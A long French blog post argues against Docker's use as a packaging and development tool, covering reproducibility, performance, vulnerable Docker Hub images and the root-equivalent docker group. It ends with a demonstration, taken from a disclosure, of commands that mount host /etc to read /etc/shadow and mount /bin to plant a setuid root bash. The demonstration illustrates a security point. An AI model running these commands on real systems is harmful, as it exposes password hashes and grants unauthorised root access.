Docker mise à mort Attention solution pas fraîche.

"Compte-rendu et règlements de comptes avec une technologie utilisée à tort et surtout à travers". Docker, un effet de mode ? Les formations et conférences fleurissent, c'est tout chaud et les hipsters reconvertis en marketeux sont à l'œuvre pour veiller à ce que les braises ne s'éteignent pas.

Cet article est à charge mais se veut pragmatique (rapport d'expériences du quotidien). Son but est de contrebalancer la hype autour de ce type d'outils et de contribuer à ouvrir les yeux aux utilisateurs à qui on a vendu ou s'apprête à vendre une techno avec bonne foi (souvent), et mauvaise foi (parfois), en avançant des arguments fallacieux. Comme disent Sam & Max : c'est le futur.

Cet article est le fruit de l'accumulation de constatations au cours de plusieurs mois de travail avec Docker. Il est une anthologie des mauvaises utilisations d'un projet qui était pourtant une bonne idée.

Autant le dire tout de suite l'accouchement se fait dans la douleur puisqu'il m'a fallu 6 mois pour enfin avoir quelque-chose de suffisamment relu et robuste face aux docker-fan-boys/girls assoiffés de dockerisation qui risquent de me tomber dessus. De plus, l'article est long ! Très long ! Et encore tout n'est pas là pour que ça reste assimilable et politiquement correct (ça a été dur) !

Limitation de responsabilité : Les opinions exprimées ici sont les miennes et n'engagent que moi (et une part de bon sens :p).


EDIT: Réponse au Fanboy du 28/09/2017 (pour ceux qui sont arrivés ici par hasard, vous pouvez sauter au sommaire...):

Quand je parlais de docker-fans, en voici donc un bon qui a relayé mon blog:

Wouloulou ! WE HAVE A BADASS OVER HERE !

Le gars monte sciemment son /etc dans le container et se plains que rien n'est isolé parce que son container a accès au fichier /etc/shadow.

Hahahahahaha le mec a jamais été confronté à un problème de CRLF de sa vie.

Il passe le premier quart à chier sur docker parce que c'est juste du bash en plus lent alors que tout le monde connais déjà bash et au deux tiers il sort sans sourciller : « Je vous met au défi de comprendre ce truc imbitable ! » en pointant… vers un script bash.

Merci de m'avoir lu et félicitations, vous avez bien compris que je n'appréciais guère cette technologie. Toutefois la sélection de passages privés de leur contexte m'invite à écrire un droit de réponse.

Replaçons l'article dans le contexte qui me gêne :

  • Je travaille dans un environnement où Docker est bien souvent utilisé en tant qu'outil de packaging;
  • les personnes qui travaillent avec moi ne sont pas des admins-sys et la moindre notion d'administration d'un ordinateur personnel leur est souvent étrangère.
  • Ces mêmes personnes ne savent pas non plus faire le packaging de leurs applications (Python (l'essentiel de la production), librairie C++, etc.).

Chacun son domaine. Mais on leur a vendu Docker pour pallier ces manques.

Docker est donc utilisé alors que :

  • Sur une machine lambda, les cgroups et SELinux nécessaires à l'utilisation de Docker en toute sécurité ne sont pas configurés.
    => Quelque-soit le niveau de mauvaise foi dans chaque parti, il est difficile de ne pas admettre que ceci mène et mènera les particuliers et à de mauvaises surprises.

  • Sous prétexte que c'est "isolé" les gens ne se soucient de faire usage des privilèges super-user pour exécuter des programmes fraîchement téléchargés sur un repository public.
    => Par l'utilisation de Docker en tant qu'outil de packaging vous vomissez sur le minimum d'éducation qu'un système GNU/Linux imposait aux utilisateurs (repository centralisé et sécurisé, gestion des droits). Même sur Pypi il est possible d'installer un paquet un mode user (je sais que la fixation sur Python est maladive, chacun ses défauts n'est-ce pas ?).

  • Vous packagez des applications de quelques Mo dans des archives de plusieurs Go.

Le pypi du futur Ceci est le container d'un paquet hébergé sur pypi dont les sources (doc comprise) font 1,6Mo

  • Je ne dis pas que Docker est du bash.
    => Je dis qu'il n'apporte rien de mieux/plus dans son Dockerfile; a contrario, en citant le Dockerfile de PostgreSQL, je mets clairement en valeur que Docker ajoute une surcouche de complexité importante à la configuration de cet outil qui diffère ainsi largement d'une configuration sur une plateforme de référence (dossiers de configuration, commandes de gestion etc.). Qui est donc de mauvaise foi ici ?

  • À propos de PostgreSQL il est facile de faire la liaison avec la problématique du stockage de données dans des containers immuables...
    => Alors que vous voulez juste 1 site avec une BDD, on vous propose:

    • des BDD à scalabilité horizontale (découpage/réplication des données),
    • faire appel à un prestataire cloud,
    • vous voulez faire du MySQL ? passez par RexRay un plugin de Docker ou par un gestionnaire de clusters,
    • ou mieux (ce qui nous pend au nez à moyen terme), passez carrément par le système de stockage distribué de Docker.

=> Vous ne développez plus 1 appli avec 2 ou 3 technos selon votre envie et votre apprentissage; vous vous retrouvez à devoir maîtriser une myriade d'outils, tous aussi jeunes les uns que les autres, avec potentiellement des espérances de vie similaires à celles de projets JavaScript... Cette façon de développer est détestable. Détestable et ingérable pour des équipes réduites ou des devs solo. Tout le monde n'a pas la "chance" de travailler chez Google ou Amazon et d'avoir un workflow de production et des infrastructures justifiant l'usage de Docker.

Du coup vous faites quoi ? Vous simplifiez et sortez des guidelines de l'outil.

  • Quant au CRLF, perso je suis loin d'y penser quand un logiciel me sort cette erreur "Error response from daemon: No image was generated. Is your Dockerfile empty?". Qui parlait de mauvaise foi ?

J'admets ne pas assez connaître le monde des Devops, néanmoins :

  • Si vous utilisez Docker et que vous êtes admin-sys, alors vous prenez vos responsabilités et n'emmerdez pas les utilisateurs qui ne s'aperçoivent de rien.
  • Vous aimez tester des applications dans un bac à sable, Docker est pour vous (Source: les devs du projet (cf plus bas)),
  • Si vous utilisez Docker parce que vos applis web sont basées sur des frameworks daubés qui cassent leur compatibilité tous les jours, alors chacun sa vie "couleur teinte de merde" (bisous) mais n'essayez pas de contaminer celle des autres;
  • Si vous utilisez Docker pour tout autre raison, vous faites du code dépendant d'une techno dont vous n'avez probablement pas besoin. Vous faites du Legacy et vous générez de la dette technique.

Je ne suis point rancunier mais comme je me doute que vous ne m'offrirez point, comme je le propose, un verre après avoir lu cet article, j'initie la réconciliation avec un cadeau bonus : un article frère pour vous donner de nouvelles occasions de faire des screens moches : Docker et la tendance de la conteneurisation : a-t-elle vraiment été en production ?

Sommaire

Le problème de la mise en production des logiciels

La mise en production d'une application est complexe et chronophage.

En cause :

  • la diversité des plateformes tant propriétaires (Microsoft/Apple) que libres;
  • l'évolution dans le temps des dépendances (librairies et logiciels tiers requis);
  • les ruptures de compatibilité entre versions de logiciels et abandons de leur maintenance.

Ce dont on a besoin :

  • de méthodes de packaging automatisées pour partager les logiciels;
  • de méthodes facilitant la reproductibilité du déploiement;
  • de méthodes de déploiement rapides et économes en ressources matérielles;

Ce que l'on vend aux utilisateurs

Un système tout-en-un de virtualisation, de déploiement et de packaging. Depuis plusieurs mois la tendance va nettement vers l'emploi de containers pour réaliser ces tâches. Le dernier projet en date vient de Canonical avec ses paquets Snap.


Un container en quelques mots :

  • est une application autonome immuable : enfermée dans un paquet avec toutes ses dépendances (les librairies, configurations et dossiers sont enveloppés et non modifiables).
  • est censé être isolé du système hôte et peut être déployé sur n'importe quelle plateforme GNU/Linux.
  • n'est pas une machine virtuelle, car réutilise (au lieu d'émuler*) la couche matérielle de la machine hôte. En cela il s'agit d'outils bien plus légers qu'une VM.
  • permet d'obtenir une multitude d'applications indépendantes sur 1 machine hôte en ne consommant que les ressources dont elles ont besoin.

*: En fait il s'agit plus de paravirtualisation que d'émulation. Les VM sont loin d'être aussi lentes que ce que les croyances veulent bien nous faire penser (en fait ce sont les prêtres Docker qui propagent ces idées en assurant que leur techno est plus "rapide"). Leur vrai problème est la consommation de mémoire; difficile à allouer dynamiquement, et consommée pour chaque système dupliqué, là où un container n'utilisera que ce dont il a besoin pour quelques librairies.


Voici une définition qui vous permettra de faire la différence entre Machine Virtuelle et Containers :

  • VM: Système orienté multi processus; construit pour le long terme, et constamment mis à jour.
  • Containers: Orientés vers 1 processus; éphémères; portables où seuls les paquets requis sont installés.


On entend souvent que Docker est wrapper de LXC.

Si la philosophie est relativement identique, le projet s'est détaché de LXC en 2014 :

On March 13, 2014, with the release of version 0.9, Docker dropped LXC as the default execution environment and replaced it with its own libcontainer library written in the Go programming language.
Source : Wikipédia.

Cas d'utilisation envisagé :

  • On prend une image GNU/Linux qu'on fait tourner dans un container Docker;
  • On installe les dépendances de notre application à déployer;
  • On configure cette application selon notre volonté;
  • On obtient une image prête à être déployée sur un serveur.

La conception de l'image est censée être reproductible et avoir le même comportement quelque-soit l'hôte.

Tout va donc pour le mieux dans le meilleur des mondes ? Pas tout à fait. Si vous avez passé 1h en compagnie de Docker ou que quelqu'un vous a montré le bazar, alors vous êtes probablement en plein effet "wow". Le premier container est si facile à construire que vous n'en croyez pas vos yeux. C'était sans compter la redescente, c.-à-d. l'incompréhension du travail des concepteurs par les utilisateurs, et ce que ces derniers en ont rapidement fait.

Ce que les utilisateurs en ont fait

Dans cette section je reprends essentiellement l'article d'un SysAdmin finalement raisonnable (ne le sont-ils pas tous ?). Ce texte regroupe les arguments pour et contre fréquemment rencontrés au sujet des technologies basées sur les containers; je les commente ici avec mon expérience personnelle.

Les arguments avancés en faveur de Docker

Chaque fois qu'on exécute le container, il sera à coup sûr le même que la dernière fois.

Oui et non; étant donné qu'on se base sur les dépôts d'un système (Debian par ex), ceux-ci peuvent évoluer au gré des mises à jour.

Pour qu'une image soit identique à coup sûr il ne faut pas la mettre à jour (pas de apt-get upgrade). L'effet pervers est donc que l'on risque de laisser pourrir des applications dans des containers dépassés. Ainsi, une ferme de serveurs dockérisés est une ferme de serveurs obsolètes en devenir.

Certains avanceront que la machine hôte ne peut pas être compromise. En admettant que l'admin-sys fasse son taf, l'intérieur des containers sera de toute façon mis en danger.

C'est là un problème grave : Docker est un outil pour l'industrie du Cloud. Or les données utilisateurs n'ont en fin de compte que peu d'importance pour cette industrie. Docker repose sur une vision qui n'est pas compatible avec bon nombre d'usages (sécurité, stockage des données, pérennité d'un système et maintenance des applications).

Finalement, 2 issues s'offrent à vous :

  • Soit vous ne mettez pas à jour le container et le risque devient alors critique pour ce qu'il y a à l'intérieur (cf. L'hôte est-il si isolé ?).

  • Soit vous mettez à jour le container et vous nuisez à la reproductibilité de votre travail.

Le Dockerfile est finalement une liste de commandes shell

Plus ou moins. Il n'y a ni boucles ni conditions. Et même si c'était le cas ça serait un exemple de plus pour pointer l'inutilité du système. En plus de sa lenteur, il rajoute une couche de complexité par rapport à un script bash dont tout le monde connait la syntaxe depuis des lustres.

Tous les fichiers que vous souhaitez embarquer dans votre container doivent se trouver dans un sous-dossier du Dockerfile (hard/symbolic links exclus). Même sur votre hôte vous vous retrouvez prisonnier d'une arborescence ubuesque.

Père Ubu Père Ubu prônant l'usage de Docker.

Le Dockerfile est une vaste blague présentée sans honte. Ceci n'est un secret pour personne, et des outils tiers apparaissent donc naturellement dans l'écosystème Docker pour pallier ces manques (Packer.io, Docker Compose). Vous vous retrouvez donc dépendants de projets supplémentaires pour votre déploiement qui devient de plus en plus complexe.

L'indice indiquant que cette technologie n'est pas simple, est que les commandes Docker ont remplacé les commandes bash sur les post-it de bureaux.

Exemple : PostgreSQL 9.4 : Dockerfile.

FROM debian:jessie

# explicitly set user/group IDs
RUN groupadd -r postgres --gid=999 && useradd -r -g postgres --uid=999 postgres

# grab gosu for easy step-down from root
ENV GOSU_VERSION 1.7
RUN set -x \
    && apt-get update && apt-get install -y --no-install-recommends ca-certificates wget && rm -rf /var/lib/apt/lists/* \
    && wget -O /usr/local/bin/gosu "https://github.com/tianon/gosu/releases/download/$GOSU_VERSION/gosu-$(dpkg --print-architecture)" \
    && wget -O /usr/local/bin/gosu.asc "https://github.com/tianon/gosu/releases/download/$GOSU_VERSION/gosu-$(dpkg --print-architecture).asc" \
    && export GNUPGHOME="$(mktemp -d)" \
    && gpg --keyserver ha.pool.sks-keyservers.net --recv-keys B42F6819007F00F88E364FD4036A9C25BF357DD4 \
    && gpg --batch --verify /usr/local/bin/gosu.asc /usr/local/bin/gosu \
    && rm -r "$GNUPGHOME" /usr/local/bin/gosu.asc \
    && chmod +x /usr/local/bin/gosu \
    && gosu nobody true \
    && apt-get purge -y --auto-remove ca-certificates wget

# make the "en_US.UTF-8" locale so postgres will be utf-8 enabled by default
RUN apt-get update && apt-get install -y locales && rm -rf /var/lib/apt/lists/* \
    && localedef -i en_US -c -f UTF-8 -A /usr/share/locale/locale.alias en_US.UTF-8
ENV LANG en_US.utf8

RUN mkdir /docker-entrypoint-initdb.d

RUN apt-key adv --keyserver ha.pool.sks-keyservers.net --recv-keys B97B0AFCAA1A47F044F244A07FCC7D46ACCC4CF8
etc.

Hey ça ressemblerait pas à n'importe quel shell script d'installation ça ? Oui c'est une encapsulation peu performante de shell scripts.
Remarquez aussi le téléchargement de l'exécutable gosu qui remplace sudo dans le container pour faciliter le déploiement sans interaction avec l'utilisateur. Il est téléchargé sur un site tiers en dehors des dépôts sécurisés de Debian. Ici il y a vérification de l'empreinte du binaire mais cela montre bien que l'encapsulation à outrance est dangereuse. Tout le monde peut mettre n'importe quoi dans vos images.

Ça marche forcément sur ma machine.

Côté purement techno, le logging pose de nombreux problèmes et n'est pas portable (j'y reviens plus tard); de même que la configuration réseau des containers (Doc imbuvable à l'appui : Networking.). Ajoutons à cela que les containers ne se prêtent pas aux bidouillages internes (cf. Les signes qui indiquent que vous faites n'importe quoi avec Docker).


De plus l'idée du "Run any app anywhere" est régulièrement ternie. Les outils dans les images sont compilés avec les paramètres du noyau hôte (support de tel ou tel service, kernel module, kernel config). Or quand vous déplacez cette image sur un autre hôte, pensez-vous que ces flags sont tous identiques ? Non.

On peut citer l'exemple de ce pauvre utilisateur qui s'est retrouvé avec un useradd nécessitant SELinux dans une image Ubuntu vraisemblablement compilée sur une machine avec ce support. Sauf que l'image ne fait pas tourner SELinux; résultat : useradd non fonctionnel. Il a dû faire du reverse engineering (strace, lecture des sources) pour trouver l'origine de son problème. A-t-on tous les compétences et le temps pour cela ?

Docker offre la possibilité de lier [son application] à un container externe, donc on n'est pas obligé d'installer quoique ce soit sur la machine hôte.

Exact, mais on peut tout à fait se connecter à un serveur SQL en ligne sans Docker... C'est une réinvention de la roue numérique. On vous vend des idées anciennes agrémentées de plus d'étoiles sur GitHub et avec des tas de followers sur Twitter.

Docker offre la possibilité de pusher un container sur un serveur et de l'exécuter sans souci et à moindre frais.

Oui et c'est l'occasion de pointer 2 des rares intérêts de Docker :

  • Réduire les frais en ce qui concerne les services demandés lors d'un hébergement en ligne.

  • Moins de travail pour les admins-sys qui doivent habituellement gérer les besoins des utilisateurs. Avec Docker les utilisateurs sont autonomes (comprendre libérés tels des éléphants dans un magasin de porcelaine).

Docker offre la possibilité de réutiliser les containers en séparant les processus dans des containers séparés.

Oui mais en pratique ce n'est pas ce qui se fait ! Les gens cherchent à inclure tous leurs services dans un même container. Il s'agit d'une très mauvaise pratique de développement et d'une incompréhension du but de Docker. Docker ne sait pas apporter de solution propre dans ce cas.
Le gros problème lié à ce mésusage est que du coup on s'empêche de bénéficier de l'autre avantage lié : la possibilité de changer à la volée la version d'un service (c.-à-d. changer de container) pour faire évoluer son application.
Cela nuit à la maintenance et à l'évolutivité du code déployé. Bien joué !

Docker est utilisé dans les situations où un packaging contrôlé est requis, et où il n'est pas question de mettre en place une VM.

La VM est de toute façon obligatoire sur les plateformes non Linux/GNU.
De par le fait, Docker ne facilitera en aucun cas le déploiement de code multiplateforme; il le complexifiera en rajoutant une étape difficilement surmontable chez des utilisateurs non développeurs étant donné les plateformes visées (Windows/MacOs). Je pense particulièrement à la sécurisation de l'installation (installation dans une VM même sous Linux, et/ou configuration des droits pour exécuter les commandes Docker), à l'apprentissage des commandes, et à la maitrise des surcouches.


Un packaging est forcément contrôlé. S'il n'est pas contrôlé c'est que vous faites n'importe quoi, ou que vous êtes en train d'utiliser une application qui de par son ancienneté et son absence de suivi, mérite largement le rebus ou le refactoring.

Par exemple, le packaging Python se fait grâce au fichier requirements.txt qui liste les dépendances hébergées sur Pypi. Pour les distributions de la galaxie Debian, il s'agit des paquets .deb hébergés sur les dépôts.
Il s'agit solutions éprouvées et fiables; et comme souvent en informatique ce sont aussi des choses simples (et anciennes). Je parle ici d'outils et non de technologies. make ou dpkg-buildpackage sont des outils, Docker est une technologie. Les technologies (surtout celles en plein développement comme ici) peuvent très vite se transformer en Legacy.

Legacy

Un logiciel le devient par manque de mises à jour, lorsqu'il n'est plus d'actualité, ou encore par impossibilité de modifier/trouver le code source.

Rendre son travail dépendant de technologies c'est prendre un engagement sur le long terme qui aura des conséquences sur les générations futures qui en dépendront. L'usage de solutions type Docker parait aujourd'hui être un pari très hasardeux sur l'avenir.

xkcd nested VM 1764: XKCDE.

Les arguments avancés en défaveur de Docker

Il s'agit d'un outil pour Linux

En effet, les applications empaquetées ne tournent que dans un environnement type Unix. Quel intérêt de faire des containers dans le but de rendre les outils accessibles sur Windows quand on prend conscience qu'ils tourneront forcément dans des VM ?

Couche inutile de complexité tout ça, tout ça...

Lorsque de multiples services sont requis dans un container.

Oui car comme cela a été dit plus haut, ce n'est tout simplement pas la philosophie du projet. Bricolage en vue donc.

Docker est un outil résolvant un problème de déploiement, pas un problème de développement !

Oui, mais y a-t-il déjà des soucis de dépendances à l'étape de développement ???

Si vous considérez les containers comme des environnements de développement, vous vous exposerez à de nombreuses déconvenues (principalement une perte de temps considérable) car :

  • Encore une fois, un container est censé être immuable (cf doc dev); pourquoi persister à vouloir travailler dedans !
  • Un container est censé être éphémère; les changements disparaissent à chaque redémarrage (bien qu'il soit possible d'esquiver ce "problème", j'y reviens plus bas).
  • Vous vous apprêtez à commiter des containers/images (soit des assimilés binaires) et non du code pur !
  • Le logging est une des pires choses que j'aie pu constater. Si votre container plante (et c'est forcément le cas quand vous le construisez) sa volatilité fait que vous n'avez aucun log ! Vous devez faire du reverse engineering sur le déploiement pour deviner où ça a foiré !
  • C'est LENT, c'est putain de LENT ! C'est plus lent que du shell script ! Une journée de test d'un pipeline d'installation c'est 30 essais ! Et quand je parle d'installation c'est à chaque fois une Debian que l'on met en place; soit 5 bonnes minutes avec une très bonne connexion... Je ne parle même pas des erreurs d'exécution des directives dans le Dockerfile qui ne l'empêchent pas de poursuivre son exécution (et que vous découvrez en fin de processus avant de devoir tout recommencer), ni des différents scripts de setup que vous devez exécuter ensuite pour VOS outils ! Avec Docker vous passez votre temps à regarder passivement votre écran.
  • Dès qu'on commence à utiliser un container, on se retrouve rapidement à devoir contourner toutes ses limitations que l'on découvre les unes après les autres en maudissant lentement mais sûrement la techno. Cela accroît la charge de travail et nuit à votre santé mentale !
  • Vous développez dans un environnement de production. Tout simplement.

Les containers génèrent trop d'entraves pour développer sereinement. Si vous ne désirez pas utiliser Docker en prod, ne l'utilisez pas en dev !

Si vous désirez l'utiliser en dev, passez du temps à lire la doc au lieu de dire "Je vais utiliser Docker pour tout, c'est le nouveau truc incontournable !" Il y a des chances qu'il ne résolve pas vos problèmes de développement mais il peut être un bon outil dans votre arsenal de dev.

C'est effectivement un outil qui peut se révéler utile, notamment pour obtenir la liste des dépendances requises par une application en simulant son installation sur un système vierge. C'est tout.

La virtualisation est plus simple pour le dev moyen et supprime la nécessité de savoir comment mettre en place un serveur.

En théorie oui, en pratique c'est faux.

Le facteur humain est un des premiers problèmes rencontrés puisqu'il s'agit de former les gens à l'usage de ce nouvel outil.

Ceci est dispendieux en temps et en argent; là encore les bonnes pratiques d'utilisation se lisent dans la doc et ne s'apprennent ni facilement, ni en se fiant à son intuition (qui force à utiliser un outil pour ce qu'on aimerait qu'il fasse et non ce pourquoi il a été conçu). Nombreux sont les gens qui veulent publier des containers ouverts sur la toile alors qu'ils n'ont ni la formation Docker, ni l'expérience pour administrer ce type de services (Web, SQL, NOSQL ou tout simplement une bête machine Linux).

L'administration d'une machine ne s'apprend pas en un jour; Docker n'est pas un générateur de science infuse.

sedorrhoide N'oubliez pas l'accessoire indispensable pour terminer votre lecture de documentation Docker.

Par ailleurs, il arrive forcément un jour où le dev moyen va vouloir configurer son serveur et là c'est le drame. Jetez un coup d'œil à la configuration du container de PostgreSQL 9.4 :

PostgreSQL 9.4 : Entrypoint.sh.

Je vous mets au défi de comprendre et adapter ce script à votre cas d'utilisation en moins de 2h !
GL & HF.

Exemple d'arguments en faveur de l'installation d'un container pour MySQL server

Téléchargement rapide de l'image MySQL.

LOL ! C'est une installation complète d'un OS !
Faut-il être à ce point aveugle pour ne pas voir que le paquet MySQL Server Core occupe 40 Mo à tout casser sur un système alors qu'une image Docker de MySQL fraîche nécessite plus de 300 Mo ?

mysql/mysql-server   latest              190154079ff8        4 weeks ago         310.5 MB

On peut exposer le port 3306.

Je crois bien que ceci est possible sur une installation locale ><.

Vous pouvez stopper et démarrer le service comme vous le souhaitez.

Encore heureux ! Sinon les commandes habituelles on en fait quoi ? Trop simples sûrement, et pas assez de hype :

service mysql stop
service mysql start

(Oui en tant que gros dissident, j'ose carrément utiliser Systemd :o).

Les données persistent dans le container jusqu'à sa destruction.

Un serveur avec des données non persistantes. Priceless.
Normalement, là vous venez de comprendre que si vous essayez de partager des données stockées sur un serveur présent dans un container ou une image Docker, vous êtes déjà totalement à côté de la plaque.

Si des outils permettent cela (je pense au projet docker-compose et à sa directive --no-recreate), c'est qu'ils vous autorisent à bypasser probablement salement les très/trop rares contraintes imposées par les devs de Docker.

PS : Un container doit être immuable. Ne le considérez pas comme une archive de données ! (Les volumes sont là pour ça...)

Les performances sont au-rendez-vous.

Notons tout de même, que comme cela a été dit dans un chapitre précédent, les VM ne souffrent pas vraiment de lenteur mais plus de consommation de mémoire excessive.

Avec Docker si on oublie l'espace disque et le temps gaspillés pour installer un OS au lieu d'un paquet de quelques mégaoctets, il faut tout de même prendre en considération les points suivants :

  • Le tout est censé s'exécuter dans une VM qui est à configurer séparément.
  • Du fait de l'implémentation du CoW (Copy-on-Write) et de l'organisation du filesystem des containers en layers, l'espace disque est réutilisé et les lectures mises en cache. Toutefois les opérations d'écritures massives vont tuer vos performances et occuper bien plus d'espace que prévu... Cf Doc : storagedriver.

Attention aux arguments incomplets ! L'expression marcher sur la tête n'a jamais pris autant de sens...

Vous pouvez lier les containers entre eux !

Ah oui, comme un vrai serveur donc ? Awesome !

ffuuuu Vous venez d'apprendre que votre base de données SQL ne doit pas contenir de données.
Vous perdez 3 points de santé mentale et allez directement en case "urgences psychiatriques".

Ce que les auteurs voulaient que les utilisateurs en fassent

Mes remarques sont-elles un délire, fruit d'une obsession récurrente ?
Pas tellement... Revenons aux origines; revenons aux interventions des développeurs au sujet de leur outil.

Containers allow us to test risky things (like the infamous curl ... | sh) in a sandbox to see exactly what they’re doing, thanks to docker diff.

Containers allow us to test risky things (like a commercial vendor’s install.sh) in a sandbox to see exactly what they’re doing, thanks to docker diff.

Containers allow us to test risky things (like installing a npm, pip, gem… package of unknown origin) in a sandbox to see exactly what they’re doing, thanks to docker diff.

Containers allow us to test risky things (like installing a deb, rpm, or other distribution package) in a sandbox to see exactly what they’re doing, thanks to docker diff.

Containers allow us to test risky things (like installing a dangerous squid package) in a sandbox to see exactly what they’re doing, thanks to docker diff.

Pour moi et manifestement pour ces braves gens, Docker doit être utilisé pour tester du code dangereux sans risquer de porter atteinte au système hôte.

Dans ces conditions il s'agit d'un outil fantastique et révolutionnaire, car avant il fallait utiliser chroot pour faire "presque" pareil. Or normalement à la simple vision du mot chroot vous devriez commencer à faire des cauchemars éveillés.

Oui, Docker est un sandbox, un "chroot aux stéroïdes" (sans logs => lolilol), mais pas un outil de déploiement ou de packaging.

Ce n'est pas parce que les choses vous sont fournies sur Internet sous une forme qui vous est familière (de jolis paquets téléchargés çà et là avec des apps dedans) qu'elles sont sans danger. Les containers Docker étaient donc faits pour améliorer la sécurité.
Le souci est que la hype autour de Docker en a fait un outil qui semble à son tour familier (de jolis containers téléchargés çà et là avec des apps dedans). Or nous verrons dans le prochain paragraphe que le mésusage de Docker est devenu à mon sens un des plus gros problèmes de sécurité et de bordélisation des plateformes de ces dernières années.

L'hôte est-il si isolé ?

Le Docker-Hub

Il s'agit d'un hybride entre GitHub et Pypi: à la fois un gestionnaire de versions d'images Docker et un moyen de les publier pour le monde entier.

On distingue les images officielles publiées par les gros projets comme MySQL, Debian, PostgreSQL, et les images non officielles non auditées par qui que ce soit.

Docker-Hub : Lien.

30% des images officielles contiennent des vulnérabilités de haute priorité

En mai 2015 une étude visant à évaluer la sécurité des images hébergées a été faite; voici ce qu'il en ressort.

docker_vulns Types de vulnérabilités et pourcentage d'images officielles contaminées.

  • 30% des images officielles abritent des vulnérabilités engendrant un haut risque pour la sécurité des systèmes encapsulés.

  • Le tag latest fait passer ce chiffre à 23%, essentiellement car les paquets installés sont mis à jour avec les dépôts des distributions tandis que les anciennes images ne sont pas corrigées.

  • Les images non officielles sont plus touchées par ces vulnérabilités et sont pourtant téléchargées aussi souvent que les images officielles.


En cause:

  • Les développeurs ne mettent pas à jour les anciennes images; ce processus trouve sa justification dans la nécessité d'assurer la reproductibilité des déploiements.

  • Les paquets non mis à jour sont de toute façon présents dans les images. Même s'ils ne servent pas, ils participent à les rendre vulnérables.

  • Le processus de création et de publication est facile, ouvert à tous, sans étape de relecture ou d'audit automatisé. Il est donc trop rapide pour être sécurisé.

  • La gestion des dépendances est déplacée dans les containers alors qu'avant c'était géré par le système hôte.

  • Chaque mise-à-jour nécessite la recréation de l'image; ceci, en plus d'être couteux laisse le temps aux images vulnérables d'être dupliquées et incorporées en tant que dépendances dans de nombreux containers. La contamination devient très rapidement ingérable.


Quelles solutions proposées ?

  • Une reconstruction régulière des images basée sur une synchronisation avec les images officielles.


Oui mais...

  • Redéployer les containers à chaque découverte de vulnérabilité est inenvisageable.
  • La mise à jour des paquets risque de compromettre la stabilité des apps mal maintenues, or c'est précisément le problème que Docker se proposait de résoudre !


Et donc ?

Des scans des images publiées devraient être faits à la volée, le contenu divergeant de l'image de base devrait être affiché, les images vulnérables devraient être marquées pour un rebuild et mises en quarantaine.

Pour le moment rien de tout ceci n'existe. Mais comme un employé de Docker le mentionne dans une réponse à l'article, le projet a atteint une masse critique qui justifie le développement d'outils tiers dont des outils d'audit de sécurité.


Mon avis

Docker vous force à faire un choix manichéen entre sécurité et reproductibilité.
Conserver un environnement avec des dépendances dépassées peut être considéré de prime abord comme une bonne idée pour faire tourner de vieilles applications. En pratique le compromis forcé est dangereux, et le temps investi dans le déploiement devrait l'être dans le maintien ou le refactoring des applications.

Avec Docker les développeurs deviennent aussi responsables des paquets requis par leurs applications. Alors qu'ils sont focalisés à raison sur les nouvelles fonctionnalités de celles-ci, les voici propulsés dans un monde où ils doivent apprendre à s'acquitter en sus, de la lourde tâche de maintenance de ces dépendances.

En plus des dépendances système problématiques, il faut noter qu'il est fréquent de rencontrer des appels à des modules liés aux langages utilisés (pip pour Python, npm pour nodejs, maven pour Java etc.) Ces dépendances introduisent à leur tour des vulnérabilités ingérables dans les containers.

Un problème inhérent à toutes les plateformes de partage de code

Tous les projets vous le diront, n'exécutez pas du code étranger avec un utilisateur privilégié.
Exemple avec le framework Symfony qui est pourtant une belle cochonnerie mais est (pour une fois), lucide sur un point :

Composer en tant que root = mauvaise idée (les scripts ne sont pas vérifiés)
Source : FAQ : How to install packages safely.

Docker Hub n'échappe pas au danger. Il est l'hébergeur d'un univers de distributions parallèles gérées par des développeurs sérieux, en herbe, ou ayant de mauvaises intentions. Son usage pourrait être raisonnable si le processus n'était pas exécuté la plupart du temps avec les droits super-utilisateur.

Le parallèle avec Pypi est possible. Tout le monde envoie ce qu'il veut sans vérification. Néanmoins pip intègre le moyen de protéger facilement le système d'un code malveillant : Les paquets peuvent/doivent être installés en mode --user, ou via des environnements virtuels (cf. tutoriel précédent).

Les droits

The docker group is root-equivalent; First of all, only trusted users should be allowed to control your Docker daemon. Docker Daemon Attack Surface details.

La procédure d'installation de Docker propose pourtant ni plus ni moins d'ajouter votre compte au groupe docker afin d'éviter de précéder toutes les commandes de sudo.

Si vous faites cela, vous offrez ni plus ni moins les privilèges maximaux à n'importe quel programme exécuté avec vos droits.

Un Dockerfile mal placé, un volume mal monté dans le container et vous ouvrez votre système à du code buggé, non audité, voire malicieux.

Démonstration dans la suite...

Travaux pratiques d'élévation de privilège avec un evil container

Ceci est tiré d'un article full disclosure paru en 2015. Lisez-le, tout est magique dedans que ça soit les remarques de l'auteur, ou les réponses des devs Docker.

Source : Using the docker command to root the host (totally not a security issue).

Conception de l'evil-Dockerfile:

FROM debian:jessie
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR

On spécifie une variable d'environnement WORKDIR qui sera notre dossier commun entre l'hôte et le container.

Construction de l'evil-image:

$ docker build -t dockertest .
Sending build context to Docker daemon 2.048 kB
WORKDIR $WORKDIRR ]IRjessie
Error parsing reference: "debian:jessie\rENV WORKDIR /stuff\rRUN mkdir -p $WORKDIR\rVOLUME [ $WORKDIR ]\rWORKDIR $WORKDIR" is not a valid repository/tag

Tiens une erreur !
Ajoutons un commentaire commençant par un # dans l'en-tête du Dockerfile, peut être que celui-ci en attend un ?

# coucou
FROM debian:jessie
ENV WORKDIR /stuff
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR ]
WORKDIR $WORKDIR

Nouvel essai:

$docker build -t dockertest .
Sending build context to Docker daemon 2.048 kB
Error response from daemon: No image was generated. Is your Dockerfile empty?

WTFFF ???
Tout est comme ça. Les erreurs rapportées sont complètement WTF et vous perdez du temps à longueur de journée... Là le truc essayait de vous dire que le fichier était écrit avec un caractère de saut de ligne non reconnu (format Mac). Souvenez-vous le temps où on vous parlait de portabilité et de reproductibilité avec Docker... head bounce

Maintenant que nous avons notre evil-image, exécutons plein d'evil-containers.


Récupération des utilisateurs et mot-de-passe du système:

$ docker run -v /etc:/stuff -t --entrypoint /bin/bash dockertest -c "cat shadow"

Le fichier /etc/shadow contient les mots de passe et l'information sur l'expiration des comptes.


Un sticky-bit sur bash afin d'avoir les droits root pour plus tard ? Pas de problème:

Lex@localhost: $ docker run -v /bin:/stuff/ -t --entrypoint /bin/bash dockertest -c "cp bash super-bash && chmod a+s super-bash"
Lex@localhost: $ super-bash -p
super-bash-4.3# whoami
root
super-bash-4.3#

